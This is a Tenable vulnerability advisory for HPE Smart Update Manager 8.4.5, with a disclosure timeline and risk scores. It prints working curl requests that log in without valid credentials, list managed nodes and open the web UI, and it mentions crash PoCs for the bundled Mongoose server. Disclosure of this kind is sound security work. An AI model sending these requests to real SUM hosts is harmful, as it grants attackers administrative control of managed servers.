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HPE Smart Update Manager 8.4.5 Remote Unauthorized Access

Critical

Synopsis

Tenable found a remote unauthorized access vulnerability in HPE Smart Update Manager (SUM) 8.4.5. An unauthenticated remote attacker can login to SUM with the following HTTP request to obtain an authenticated session id:

curl -k -H 'Content-Type: application/json' -d '{"hapi":{"username":"Administrator","password":"any_password","language":"en","mode":"gui", "usesshkey":true, "privatekey":"any_privateky", "passphrase":"any_passphase","settings":{"output_filter":"passed","port_number":"444"}}}' 'https://<HPE_SUM_HOST>:63002/session/create'
{"hapi":{"hmessage":"Session already exists.","sessionId":"t963445791","hcode":0,"isSameSessionExists":true}}

With a valid session id, the attacker then can perform actions defined by the SUM application:

 curl -k 'https://<HPE_SUM_HOST>:63002/session/t963445791/node/index'
{"hapi":{"hmessage":"Command completed successfully.","hcode":0,"output_data":{"nodes":{"node":[{"return_code":"0","node_phase":"UserActionNeeded","scheduled":false,"node_uri":"/Session/t963445791/Node/N1localhost","baselines":[],"node_status_hcode":"0","installable_state":"0","group_name":"","type":"WINDOWS","group_id":"","node_id":"N1localhost","node_state":"IDLE","node_status":"Ready to start inventory","schedule_date_time":"","node_name":"localhost"}]}}}}

Specifically, the attacker can login to the SUM web UI with the obtained session id:

https://<HPE_SUM_HOST>:63002/index.html?session_id=t963445791

The security impact depends on what SUM can do. According to the SUM User Guide, it looks like update packages can be uploaded from a remote host to the SUM host (Download from http share). With this the attacker may be able to upload malicious packages from an attacker-controlled host to the SUM host. The attacker can then deploy the packages to the nodes managed by SUM. By default the SUM host (aka localhost) is automatically added to the managed node list. It appears that the vulnerability is similar to CVE-2019-11988 described in https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03922en_us. So the impact could be as high as CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

HPE SUM 8.4.5 uses Mongoose 6.7 for web server. Mongoose 6.7 is affected by mulitple vulnerabilities, so HPE SUM is also affected. For example, the PoCs for CVE-2017-2921 (https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0428) and CVE-2017-2922 (https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0429) can be used to crash sum_service_x64.exe running on Windows.

Solution

No known solutions exist at this time. Users are encouraged to apply vendor-supplied patches once they become available.

Disclosure Timeline

10/16/2019 - Disclosed to [email protected]. 90 day is Jan. 14, 2020.
10/18/2019 - Tenable asks for HPE to acknowledge the report.
10/18/2019 - HPE has assigned PSRT111055.
10/30/2019 - Tenable requests status update.
10/31/2019 - HPE states fixes are in progress and backports are in discussion.
11/8/2019 - HPE claims fixes should be ready by end of year.
12/2/2019 - Tenable requests status update.
12/6/2019 - HPE claims fix will be release on or after Jan 7.
1/6/2020 - Tenable requests status update.
1/14/2020 - Tenable requests status update. Today is day 90. Details will be released tomorrow.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2020-02
CVSSv2 Base / Temporal Score:
10.0 / 9.0
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Products:
HPE Smart Update Manager 8.4.5
Risk Factor:
Critical

Advisory Timeline

01/15/2020 - Initial release

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